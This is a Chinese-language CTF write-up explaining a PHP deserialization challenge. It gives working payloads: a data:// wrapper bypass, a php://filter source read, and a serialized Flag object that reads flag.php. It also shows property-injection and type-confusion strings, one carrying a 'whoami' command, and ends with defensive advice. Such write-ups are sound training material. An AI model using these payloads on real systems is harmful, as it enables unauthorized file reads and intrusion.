从CTF实战解析PHP反序列化漏洞:Flag类利用与文件读取技巧

在网络安全竞赛中,PHP反序列化漏洞一直是高频考点。本文将以一道典型CTF题目为例,深入剖析如何通过构造特定序列化字符串操控对象属性,最终实现敏感文件读取。不同于基础教程,我们将从漏洞原理、代码审计到payload构造,完整呈现专业安全研究员的思考路径。

1. 题目环境与代码审计

拿到题目首先看到的是一个PHP文件,核心逻辑围绕三个参数验证展开。第一关要求 text 参数能读取特定字符串,这提示我们需要使用 data:// 伪协议:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
}

第二关的 file 参数过滤了 flag 关键字,但暗示了 useless.php 的存在。这里采用 php://filter 协议读取源码是最佳选择:

if(preg_match("/flag/",$file)){
    echo "Not now!";
    exit(); 
} else {
    include($file);  //useless.php
}

通过以下payload获取 useless.php 的base64编码内容:

file=php://filter/read=convert.base64-encode/resource=useless.php

解码后得到关键类定义:

class Flag{
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "Useless!";
    }
}

2. 反序列化漏洞原理深度解析

当PHP执行 unserialize() 时,会按照序列化字符串的结构重建对象。关键风险点在于:

  • 属性控制 :序列化数据中的对象属性值完全可控
  • 魔术方法 __tostring() 等魔术方法在特定场景自动触发
  • 敏感操作 :魔术方法中常包含文件操作、命令执行等高危函数

在本题中, Flag 类包含两个危险特征:

  1. $file 属性未做任何过滤
  2. __tostring() 方法直接使用 file_get_contents() 读取文件

典型的利用链如下:

unserialize() → 创建Flag对象 → 设置$file属性 → 触发__tostring() → 读取任意文件

3. 手工构造序列化payload

根据PHP序列化格式规范,我们需要构造 Flag 类的序列化字符串。基本结构为:

O:<类名长度>:"<类名>":<属性数量>:{<属性序列化>}

对于 Flag 类,具体构造步骤如下:

  1. 类名 Flag 长度为4
  2. 只有1个属性 $file
  3. 属性名为 file (长度4)
  4. 属性值设为 flag.php (长度8)

最终payload:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

验证payload结构的正确性:

部分 说明 示例
O:4:"Flag" 声明对象,类名4字符 O:4:"Flag"
:1: 1个属性 :1:
{s:4:"file" 字符串属性名,长度4 {s:4:"file"
;s:8:"flag.php" 字符串属性值,长度8 ;s:8:"flag.php"
} 结束符 }

4. 完整漏洞利用链实战

组合各环节形成最终攻击流程:

  1. 通过 data:// 协议绕过第一关验证:

    text=data://text/plain,welcome to the zjctf
    
  2. 使用过滤器读取 useless.php 源码:

    file=php://filter/read=convert.base64-encode/resource=useless.php
    
  3. 构造反序列化payload并赋值给 password

    password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

完整请求示例:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

5. 防御方案与最佳实践

针对此类漏洞,开发者应采取多层次防护:

代码层防护

  • 避免反序列化用户输入
  • 使用 __wakeup() __destruct() 进行属性校验
  • 对敏感操作添加权限检查
class SafeFlag {
    private $file;
    
    public function __wakeup() {
        if(strpos($this->file, 'flag') !== false) {
            throw new Exception('Invalid file requested');
        }
    }
}

架构层防护

  • 使用JSON等安全数据格式替代序列化
  • 实施最小权限原则
  • 定期进行安全审计

运维层防护

  • 禁用危险协议( php:// data:// 等)
  • 配置 open_basedir 限制文件访问范围
  • 及时更新PHP版本

6. 高级利用技巧扩展

在更复杂的场景中,反序列化漏洞常与其他技术组合利用:

属性注入攻击 通过修改属性数量字段,可以注入未定义的属性:

O:4:"Flag":2:{s:4:"file";s:8:"flag.php";s:6:"inject";s:10:"evil_value";}

类型混淆攻击 利用PHP弱类型特性,将字符串属性改为对象触发其他魔术方法:

O:4:"Flag":1:{s:4:"file";O:6:"Logger":1:{s:3:"cmd";s:6:"whoami";}}

字符逃逸技巧 当存在字符串替换过滤时,可以通过计算偏移量构造特殊payload:

原字符串:s:8:"flag.php"
过滤后: s:12:"flflagag.php"

实际渗透测试中,建议使用专业的反序列化工具辅助分析:

  • PHPGGC(PHP Generic Gadget Chains)
  • PHPUnserializeDetector
  • Rogue-JNDI(用于Java反序列化)

在最近的一次红队评估中,我们发现某系统虽然对 __destruct() 做了防护,但忽略了 __toString() 方法。通过精心构造的序列化字符串,最终实现了SSRF到RCE的完整攻击链。这提醒我们,安全防护必须覆盖所有魔术方法和可能的触发路径。

更多推荐